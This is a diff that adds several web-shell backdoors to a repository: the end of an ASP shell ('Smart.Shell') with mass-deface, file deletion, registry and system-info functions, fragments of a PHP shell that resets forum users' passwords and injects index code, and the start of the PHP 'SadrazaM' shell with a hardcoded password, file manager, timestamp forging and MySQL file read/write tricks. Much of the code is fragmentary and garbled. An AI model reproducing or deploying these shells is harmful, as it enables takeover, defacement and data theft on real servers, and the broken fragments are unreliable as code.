+ nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
+ oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
+ If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
+ Else
+ nPos = InstrB(nPos, biData, CByteString(Chr(13)))
+ nPosBegin = nPos + 4
+ nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
+ If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ End If
+ nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
+ Loop
+ End Sub
+ Private Function CByteString(sString)
+ Dim nIndex
+ For nIndex = 1 to Len(sString)
+ CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
+ Next
+ End Function
+ Private Function CWideString(bsString)
+ Dim nIndex
+ CWideString =""
+ For nIndex = 1 to LenB(bsString)
+ CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
+ Next
+ End Function
+End Class
+Class UploadedFile
+ Public ContentType
+ Public FileName
+ Public FileData
+ Public Property Get FileSize()
+ FileSize = LenB(FileData)
+ End Property
+ Public Sub SaveToDisk(sPath)
+ Dim oFS, oFile
+ Dim nIndex
+ If sPath = "" Or FileName = "" Then Exit Sub
+ If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
+ Set oFS = Server.CreateObject("Scripting.FileSystemObject")
+ If Not oFS.FolderExists(sPath) Then Exit Sub
+ Set oFile = oFS.CreateTextFile(sPath & FileName, True)
+ For nIndex = 1 to LenB(FileData)
+ oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
+ Next
+ oFile.Close
+ End Sub
+ Public Sub SaveToDatabase(ByRef oField)
+ If LenB(FileData) = 0 Then Exit Sub
+ If IsObject(oField) Then
+ oField.AppendChunk FileData
+ End If
+ End Sub
+End Class
+startcode = "r57.biz"
+endocde = ""
+onlinehelp = ".:: ONLINE HELP ::. .:: 3FEShell 1.0 ::. "
+Function get_hxno(ghx)
+ If ghx = "A" Then
+ ghx = 10
+ ElseIf ghx = "B" Then
+ ghx = 11
+ ElseIf ghx = "C" Then
+ ghx = 12
+ ElseIf ghx = "D" Then
+ ghx = 13
+ ElseIf ghx = "E" Then
+ ghx = 14
+ ElseIf ghx = "F" Then
+ ghx = 15
+ End If
+ get_hxno = ghx
+End Function
+
+keydec=".:: Smart.Shell 1.0 © BY P0Uy@_$3r\/3R - "
+Function showobj(objpath)
+ showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
+End Function
+Function showobjpath(objpath)
+ showobjpath = Left(objpath,InstrRev(objpath,"\"))
+End Function
+Function checking(a,b)
+' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
+' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
+' Response.Redirect(pagina)
+' End If
+End Function
+Sub hdr()
+ Response.Write startcode
+ Response.Write keydec
+ Response.Write "?/a> ?/a> "& f1.path &" ["&f1.size&"]"&" ?/a> ! "& f1.path &" ["&f1.size&"] .:: DRIVES ::. "
+ If Trim(Request.QueryString("raiz")) = "root" Then
+ Set fs=Server.Createobject("Scripting.FileSystemObject")
+ Set drivecollection=fs.drives
+ Response.Write ""
+ For Each drive IN drivecollection
+ str=drive.driveletter & ":"
+ Response.Write "" & UCase(str) & " Type: " & tipodrive & "Name: " & nomedrive & "File System: "
+ If drive.isready Then
+ set sp=fs.getdrive(str)
+ response.write sp.filesystem & "Disk Space: "
+ If drive.isready Then
+ freespace = (drive.AvailableSpace / 1048576)
+ set sp=fs.getdrive(str)
+ response.write(Round(freespace,1) & " MBTotal Space: "
+ If drive.isready Then
+ totalspace = (drive.TotalSize / 1048576)
+ set sp=fs.getdrive(str)
+ response.write(Round(totalspace,1) & " MB "
+ Set fs = Nothing
+ Set drivecollection = Nothing
+ set sp=Nothing
+ Else
+ If Trim(Request.QueryString("raiz")) = "" Then
+ caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
+ pos = Instr(caminho,"\")
+ pos2 = 1
+ While pos2 <> 0
+ If Instr(pos + 1,caminho,"\") <> 0 Then
+ pos = Instr(pos + 1,caminho,"\")
+ Else
+ pos2 = 0
+ End If
+ Wend
+ raiz = Left(caminho,pos)
+ Else
+ raiz = trim(Request.QueryString("raiz")) & "\"
+ End If
+ Set ObjFSO = CreateObject("Scripting.FileSystemObject")
+ Set MonRep = ObjFSO.GetFolder(raiz)
+ Set ColFolders = MonRep.SubFolders
+ Set ColFiles0 = MonRep.Files
+ Response.Write "MASS TEST IN " & UCase(raiz) & " MASS DEFACE IN " & UCase(raiz) & " UPLOAD FILE TO " & UCase(raiz) & " "
+ Response.Write "PROMPT "
+ Response.Write " - SYS INFO "
+ Response.Write " - REGEDIT "
+ Response.Write " - SEARCH "
+ Response.Write " - EXECUTE SQL "
+ Response.Write " - ABOUT "
+ Response.Write " Root Folder: " & raiz & " <DIR> . . <DIR> . . "
+ marcatabela = true
+ for each FilesItem0 in ColFiles0
+ If marcatabela = true then
+ corfundotabela = " bgcolor=""#EEEEEE"""
+ Else
+ corfundotabela = ""
+ End If
+ Response.Write ":: " & showobj(FilesItem0.path) & " " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes o.GET.o o.REN.o o.DEL.o o.VIEW.o o.EDIT.o o.İndir.o o.FileCopy.o
"
+ End If
+End Sub
+Select Case Trim(Request.QueryString("action"))
+ Case "get"
+ checa = checking(cprthtml,keydec)
+ Call hdr()
+ Response.Write copyright & onlinehelp
+ caminho = Replace(Trim(Request.QueryString("path")),"|","\")
+ Set ObjFSO = CreateObject("Scripting.FileSystemObject")
+ Set MyFile = ObjFSO.GetFile(caminho)
+ destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
+ MyFile.Copy (destino)
+ If Err.Number = 0 Then
+ Response.Write "" & caminho & " Select File: "
+ for each FilesItem0 in ColFiles0
+ Response.Write ":: " & showobj(FilesItem0.path) & " " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes :: SELECT ::
"
+ Else
+ destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
+ arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
+ Set ObjFSO = CreateObject("Scripting.FileSystemObject")
+ Set MyFile = ObjFSO.GetFile(arquivo)
+ MyFile.Copy (destino)
+ If Err.Number = 0 Then
+ Response.Write " " & arquivo & " " & destino
+ End If
+ End If
+ Case "del"
+ checa = checking(cprthtml,keydec)
+ Call hdr()
+ Response.Write copyright & onlinehelp
+ caminho = Replace(Trim(Request.QueryString("path")),"|","\")
+ Set ObjFSO = CreateObject("Scripting.FileSystemObject")
+ Set MyFile = ObjFSO.GetFile(caminho)
+ MyFile.Delete
+ If Err.Number = 0 Then
+ Response.Write ""
+ Response.Write " " & caminho & " Deleted." & caminho & " Deleted." & arquivo & " " & caminho & " : " & destino
+ Response.Write ""
+ End If
+ End If
+ Case "error"
+ Response.Write " CÓDIGO CORROMPIDO "
+ Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,""
+ Response.Write "User Properties: UserName: " & WshNetwork.UserName & "Computer Name: " & WshNetwork.ComputerName & "User Domain: " & WshNetwork.UserDomain & "Drive de Rede (Mapeado): " & Drives.Item(i) & "Cpu Information: Processor Architecture: " & WshEnv("PROCESSOR_ARCHITECTURE") & "Number Of Processors: " & WshEnv("NUMBER_OF_PROCESSORS") & "Processor Identifier: " & WshEnv("PROCESSOR_IDENTIFIER") & "Processor Level: " & WshEnv("PROCESSOR_LEVEL") & "Processor Revision: " & WshEnv("PROCESSOR_REVISION") & "Operating System Information: IP: " & request.servervariables("LOCAL_ADDR") & "Sistem OS: " & WshEnv("OS") & "Server Software: " & request.servervariables("SERVER_SOFTWARE") & "Cmd Path: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "Public Paths: " & WshEnv("PATH") & "Executables: " & WshEnv("PATHEXT") & "Prompt: " & WshEnv("PROMPT") & "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "System32 Path: " & WshShell.CurrentDirectory & "Registry Editor: Registry "
+ Response.Write Trim(Request.QueryString("key")) & " Changed. Main Menu ROOT KEY NAME ABREVIAÇÃO HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM HKEY_CLASSES_ROOT HKCR HKEY_USERS HKEY_USERS HKEY_CURRENT_CONFIG HKEY_CURRENT_CONFIG
Type Description Figure REG_SZ String String REG_DWORD Number DWORD REG_BINARY Binary VBArray DWORD REG_EXPAND_SZ String Expand (ex. ""%windir%\\calc.exe"") String REG_MULTI_SZ Array Of Strings VBArray Of Strings
"
+ Response.Write "No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+User : ' . $vbuser . ' could not be deleted ';
+}
+}
+if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="shell" && isset($_POST['var']))
+{
+$host = $_POST['host'];
+$user = $_POST['user'];
+$pass = $_POST['pass'];
+$db = $_POST['db'];
+$var = $_POST['var'];
+mysql_connect($host,$user,$pass) or die('Nope, No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+Error
";}
+$result1=mysql_query($Wdt2);
+ if ($result1) { echo "Done Create File
Error
";}
+}
+if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="code" && isset($_POST['code']))
+{
+$host = $_POST['host'];
+$user = $_POST['user'];
+$pass = $_POST['pass'];
+$db = $_POST['db'];
+$index = $_POST['code'];
+mysql_connect($host,$user,$pass) or die('Nope, No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+Failed to change index
";}
+$result1=mysql_query($Wdt2);
+if ($result1) {echo "Done Create File
";} else{ echo "Error
";}
+}
+
+if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db']) && $act=="inc" && isset($_POST['link']))
+{
+$host = $_POST['host'];
+$user = $_POST['user'];
+$pass = $_POST['pass'];
+$db = $_POST['db'];
+$vblink = $_POST['link'];
+mysql_connect($host,$user,$pass) or die('Nope, No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+The E-MAIL of the user ' . $vbuser . ' was changed to ' . $vbmail . ' Shell ';
+} else {
+echo 'Failed to change E-MAIL Nope, No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+The pass of the user ' . $vbuser . ' was changed to ' . $vbpass . ' Shell ';
+} else {
+echo 'Failed to change PassWord Nope, No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+No cOnnection with user ');
+mysql_select_db($db) or die('Nope, No cOnnection with DB ');
+if ($pass == '')
+{
+$npass = 'NULL';
+} else {
+$npass = $pass;
+}
+echo'You are connected with the mysql server of ' . $host . ' by user : ' . $user . ' , pass : ' . $npass . ' and selected DB with the name ' . $db . ' ';
+?>
+ID USERNAME EMAIL ';
+while ($row = mysql_fetch_array($re))
+{
+echo'' . $row['userid'] . ' ' . $row['username'] . ' ' . $row['email'] . '
';
+?>
+
+
+
+
+
+
+?>
+
+
+
+www.egyspider.com
+
+
+
+
\ No newline at end of file
diff --git a/php/sadrazam.php b/php/sadrazam.php
new file mode 100644
index 0000000..4369d8b
--- /dev/null
+++ b/php/sadrazam.php
@@ -0,0 +1,1973 @@
+ $_value) {
+ if ($_key{0} != '_') {
+ if (IS_GPC) {
+ $_value = s_array($_value);
+ }
+ $$_key = $_value;
+ }
+ }
+}
+
+/*===================== ||-Є+ф+| =====================*/
+$admin = array();
+// -|+ё-ш-к|#-ы-щ+д, true +к-ш-к-щ+д, false +к+#+++ +ы.--|ц-б-ю+Є+|-з
+$admin['check'] = 0;
+// +ч| -ш-к|#-ы-щ+д,|ы-|+-||-+|#-ы
+$admin['pass'] = 'angel';
+
+//+ч- |+ cookie +ў+|+|+з+-|+-т-к|є, +Є||-+#++ |г, |ы-|+---|ц#ф-+, +ё+Є|ы#г|+-м+-
+// cookie |#+|
+$admin['cookiepre'] = '';
+// cookie +ў+|+Є
+$admin['cookiedomain'] = '';
+// cookie +ў+|-++|
+$admin['cookiepath'] = '/';
+// cookie +--з|+
+$admin['cookielife'] = 86400;
+/*===================== +ф+|+с- =====================*/
+
+if ($charset == 'utf8') {
+ header("content-Type: text/html; charset=utf-8");
+} elseif ($charset == 'big5') {
+ header("content-Type: text/html; charset=big5");
+} elseif ($charset == 'gbk') {
+ header("content-Type: text/html; charset=gbk");
+} elseif ($charset == 'latin1') {
+ header("content-Type: text/html; charset=iso-8859-2");
+}
+
+$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
+$timestamp = time();
+
+/*===================== +э+|-щ+д =====================*/
+if ($action == "logout") {
+ scookie('phpspypass', '', -86400 * 365);
+ p('Success ');
+ exit;
+}
+if($admin['check']) {
+ if ($doing == 'login') {
+ if ($admin['pass'] == $password) {
+ scookie('phpspypass', $password);
+ p('Success ');
+ exit;
+ }
+ }
+ if ($_COOKIE['phpspypass']) {
+ if ($_COOKIE['phpspypass'] != $admin['pass']) {
+ loginpage();
+ }
+ } else {
+ loginpage();
+ }
+}
+/*===================== -щ+д+с- =====================*/
+
+$errmsg = '';
+
+// #щ+|PHPINFO
+if ($action == 'phpinfo') {
+ if (IS_PHPINFO) {
+ phpinfo();
+ } else {
+ $errmsg = 'phpinfo() function has non-permissible';
+ }
+}
+
+// --+++-+
+if ($doing == 'downfile' && $thefile) {
+ if (!@file_exists($thefile)) {
+ $errmsg = 'The file you want Downloadable was nonexistent';
+ } else {
+ $fileinfo = pathinfo($thefile);
+ header('Content-type: application/x-'.$fileinfo['extension']);
+ header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
+ header('Content-Length: '.filesize($thefile));
+ @readfile($thefile);
+ exit;
+ }
+}
+
+// +#++--++#++|- +|+т
+if ($doing == 'backupmysql' && !$saveasfile) {
+ dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+ $table = array_flip($table);
+ $result = q("SHOW tables");
+ if (!$result) p(''.mysql_error().' ');
+ $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
+ header('Content-type: application/unknown');
+ header('Content-Disposition: attachment; filename='.$filename);
+ $mysqldata = '';
+ while ($currow = mysql_fetch_array($result)) {
+ if (isset($table[$currow[0]])) {
+ $mysqldata .= sqldumptable($currow[0]);
+ }
+ }
+ mysql_close();
+ exit;
+}
+
+// -и| MYSQL--+++-+
+if($doing=='mysqldown'){
+ if (!$dbname) {
+ $errmsg = 'Please input dbname';
+ } else {
+ dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+ if (!file_exists($mysqldlfile)) {
+ $errmsg = 'The file you want Downloadable was nonexistent';
+ } else {
+ $result = q("select load_file('$mysqldlfile');");
+ if(!$result){
+ q("DROP TABLE IF EXISTS tmp_angel;");
+ q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
+ //+|-#+ф|-+|#э-+++|-,##|т|Ў-+|-+б+++э+Є# |м__angel_1111111111_eof__|-+-+ -##+-ъ+ |-|щ+Ў
+ q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
+ $result = q("select content from tmp_angel");
+ q("DROP TABLE tmp_angel");
+ }
+ $row = @mysql_fetch_array($result);
+ if (!$row) {
+ $errmsg = 'Load file failed '.mysql_error();
+ } else {
+ $fileinfo = pathinfo($mysqldlfile);
+ header('Content-type: application/x-'.$fileinfo['extension']);
+ header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
+ header("Accept-Length: ".strlen($row[0]));
+ echo $row[0];
+ exit;
+ }
+ }
+ }
+}
+
+?>
+
+
+<?php echo str_replace('.','','SadrazaM | Casus Shell');?>
+
+
+
+
+
+
+
+'goaction'));
+makehide('action');
+formfoot();
+
+$errmsg && m($errmsg);
+
+// +ё+б|#|#-++|
+!$dir && $dir = '.';
+$nowpath = getPath(SA_ROOT, $dir);
+if (substr($dir, -1) != '/') {
+ $dir = $dir.'/';
+}
+$uedir = ue($dir);
+
+if (!$action || $action == 'file') {
+
+ // +-|-|--||щ+Ў
+ $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
+
+ // ++| -+-+
+ if ($doing == 'deldir' && $thefile) {
+ if (!file_exists($thefile)) {
+ m($thefile.' directory does not exist');
+ } else {
+ m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
+ }
+ }
+
+ // ||+и-+-+
+ elseif ($newdirname) {
+ $mkdirs = $nowpath.$newdirname;
+ if (file_exists($mkdirs)) {
+ m('Directory has already existed');
+ } else {
+ m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
+ @chmod($mkdirs,0777);
+ }
+ }
+
+ // +-|л+-+
+ elseif ($doupfile) {
+ m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
+ }
+
+ // #р+н+-+
+ elseif ($editfilename && $filecontent) {
+ $fp = @fopen($editfilename,'w');
+ m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
+ @fclose($fp);
+ }
+
+ // #р+н+-+ -Ї-+
+ elseif ($pfile && $newperm) {
+ if (!file_exists($pfile)) {
+ m('The original file does not exist');
+ } else {
+ $newperm = base_convert($newperm,8,10);
+ m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
+ }
+ }
+
+ // +-|
+ elseif ($oldname && $newfilename) {
+ $nname = $nowpath.$newfilename;
+ if (file_exists($nname) || !file_exists($oldname)) {
+ m($nname.' has already existed or original file does not exist');
+ } else {
+ m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
+ }
+ }
+
+ // +|+|+-+
+ elseif ($sname && $tofile) {
+ if (file_exists($tofile) || !file_exists($sname)) {
+ m('The goal file has already existed or original file does not exist');
+ } else {
+ m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
+ }
+ }
+
+ // +--б-#+ф
+ elseif ($curfile && $tarfile) {
+ if (!@file_exists($curfile) || !@file_exists($tarfile)) {
+ m('The goal file has already existed or original file does not exist');
+ } else {
+ $time = @filemtime($tarfile);
+ m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
+ }
+ }
+
+ // ++|и-х-#+ф
+ elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
+ if (!@file_exists($curfile)) {
+ m(basename($curfile).' does not exist');
+ } else {
+ $time = strtotime("$year-$month-$day $hour:$minute:$second");
+ m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
+ }
+ }
+
+ // |Є# --++
+ elseif($doing == 'downrar') {
+ if ($dl) {
+ $dfiles='';
+ foreach ($dl as $filepath => $value) {
+ $dfiles.=$filepath.',';
+ }
+ $dfiles=substr($dfiles,0,strlen($dfiles)-1);
+ $dl=explode(',',$dfiles);
+ $zip=new PHPZip($dl);
+ $code=$zip->out;
+ header('Content-type: application/octet-stream');
+ header('Accept-Ranges: bytes');
+ header('Accept-Length: '.strlen($code));
+ header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
+ echo $code;
+ exit;
+ } else {
+ m('Please select file(s)');
+ }
+ }
+
+ // + -+++| +-+
+ elseif($doing == 'delfiles') {
+ if ($dl) {
+ $dfiles='';
+ $succ = $fail = 0;
+ foreach ($dl as $filepath => $value) {
+ if (@unlink($filepath)) {
+ $succ++;
+ } else {
+ $fail++;
+ }
+ }
+ m('Deleted file have finishedгмchoose '.count($dl).' success '.$succ.' fail '.$fail);
+ } else {
+ m('Please select file(s)');
+ }
+ }
+
+ //#++ў-ъ#-
+ formhead(array('name'=>'createdir'));
+ makehide('newdirname');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'fileperm'));
+ makehide('newperm');
+ makehide('pfile');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'copyfile'));
+ makehide('sname');
+ makehide('tofile');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'rename'));
+ makehide('oldname');
+ makehide('newfilename');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'fileopform'));
+ makehide('action');
+ makehide('opfile');
+ makehide('dir');
+ formfoot();
+
+ $free = @disk_free_space($nowpath);
+ !$free && $free = 0;
+ $all = @disk_total_space($nowpath);
+ !$all && $all = 0;
+ $used = $all-$free;
+ $used_percent = @round(100/($all/$free),2);
+ p('File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%) ');
+
+?>
+
+
+ ');
+ p('
');
+ p('WebRoot ');
+ if ($view_writable) {
+ p(' | View All ');
+ } else {
+ p(' | View Writable ');
+ }
+ p(' | Create Directory | Create File ');
+ if (IS_WIN && IS_COM) {
+ $obj = new COM('scripting.filesystemobject');
+ if ($obj && is_object($obj)) {
+ $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
+ foreach($obj->Drives as $drive) {
+ if ($drive->DriveType == 2) {
+ p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.') ');
+ } else {
+ p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.') ');
+ }
+ }
+ }
+ }
+
+ p(' Filename Last modified Size Chmod / Perms Action ');
+ p('0 '.$dirdb['filename'].' '.$dirdb['mtime'].' ');
+ p('-- ');
+ p('');
+ p(''.$dirdb['dirchmod'].' / ');
+ p(''.$dirdb['dirperm'].' '.$dirdb['fileowner'].' ');
+ p('Del | Rename ');
+ $dir_i++;
+ } else {
+ if($dirdb['filename']=='..') {
+ p('');
+ p('= Parent Directory ');
+ }
+ }
+ }
+
+ p('
');
+}// end dir
+
+elseif ($action == 'sqlfile') {
+ if($doing=="mysqlupload"){
+ $file = $_FILES['uploadfile'];
+ $filename = $file['tmp_name'];
+ if (file_exists($savepath)) {
+ m('The goal file has already existed');
+ } else {
+ if(!$filename) {
+ m('Please choose a file');
+ } else {
+ $fp=@fopen($filename,'r');
+ $contents=@fread($fp, filesize($filename));
+ @fclose($fp);
+ $contents = bin2hex($contents);
+ if(!$upname) $upname = $file['name'];
+ dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
+ m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
+ }
+ }
+ }
+?>
+
+'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
+ formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
+ makehide('action','sqlfile');
+ p('');
+ p('DBHost:');
+ makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
+ p(':');
+ makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
+ p('DBUser:');
+ makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+ p('DBPass:');
+ makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+ p('DBName:');
+ makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
+ p('DBCharset:');
+ makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
+ p('
');
+ formfoot();
+ p('');
+}
+
+elseif ($action == 'sqladmin') {
+ !$dbhost && $dbhost = 'localhost';
+ !$dbuser && $dbuser = 'root';
+ !$dbport && $dbport = '3306';
+ $dbform = ''.mysql_error().' ');
+ $mysqldata = '';
+ while ($currow = mysql_fetch_array($result)) {
+ if (isset($table[$currow[0]])) {
+ sqldumptable($currow[0], $fp);
+ }
+ }
+ fclose($fp);
+ $fileurl = str_replace(SA_ROOT,'',$path);
+ m('Database has success backup to '.$path.' ');
+ mysql_close();
+ } else {
+ m('Backup failed');
+ }
+ }
+ }
+ if ($insert && $insertsql) {
+ $keystr = $valstr = $tmp = '';
+ foreach($insertsql as $key => $val) {
+ if ($val) {
+ $keystr .= $tmp.$key;
+ $valstr .= $tmp."'".addslashes($val)."'";
+ $tmp = ',';
+ }
+ }
+ if ($keystr && $valstr) {
+ dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
+ }
+ }
+ if ($update && $insertsql && $base64) {
+ $valstr = $tmp = '';
+ foreach($insertsql as $key => $val) {
+ $valstr .= $tmp.$key."='".addslashes($val)."'";
+ $tmp = ',';
+ }
+ if ($valstr) {
+ $where = base64_decode($base64);
+ dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
+ }
+ }
+ if ($doing == 'del' && $base64) {
+ $where = base64_decode($base64);
+ $delete_sql = "DELETE FROM $tablename WHERE $where";
+ dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
+ }
+
+ if ($tablename && $doing == 'drop') {
+ dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ if (q("DROP TABLE $tablename")) {
+ m('Drop table of success');
+ $tablename = '';
+ } else {
+ m(mysql_error());
+ }
+ }
+
+ $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
+
+ formhead(array('title'=>'MYSQL Manager'));
+ makehide('action','sqladmin');
+ p('');
+ p('DBHost:');
+ makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
+ p(':');
+ makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
+ p('DBUser:');
+ makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+ p('DBPass:');
+ makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+ p('DBCharset:');
+ makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
+ makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
+ p('
');
+ formfoot();
+?>
+
+'recordlist'));
+ makehide('doing');
+ makehide('action','sqladmin');
+ makehide('base64');
+ makehide('tablename');
+ p($dbform);
+ formfoot();
+
+ //-б|и- +|+т
+ formhead(array('name'=>'setdbname'));
+ makehide('action','sqladmin');
+ p($dbform);
+ if (!$dbname) {
+ makehide('dbname');
+ }
+ formfoot();
+
+ //-б|и#э
+ formhead(array('name'=>'settable'));
+ makehide('action','sqladmin');
+ p($dbform);
+ makehide('tablename');
+ makehide('page',$page);
+ makehide('doing');
+ formfoot();
+
+ $cachetables = array();
+ $pagenum = 30;
+ $page = intval($page);
+ if($page) {
+ $start_limit = ($page - 1) * $pagenum;
+ } else {
+ $start_limit = 0;
+ $page = 1;
+ }
+ if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
+ dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+ //+ё+б- +|+т-+-в
+ $mysqlver = mysql_get_server_info();
+ p('MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'
');
+ $highver = $mysqlver > '4.1' ? 1 : 0;
+
+ //+ё+б- +|+т
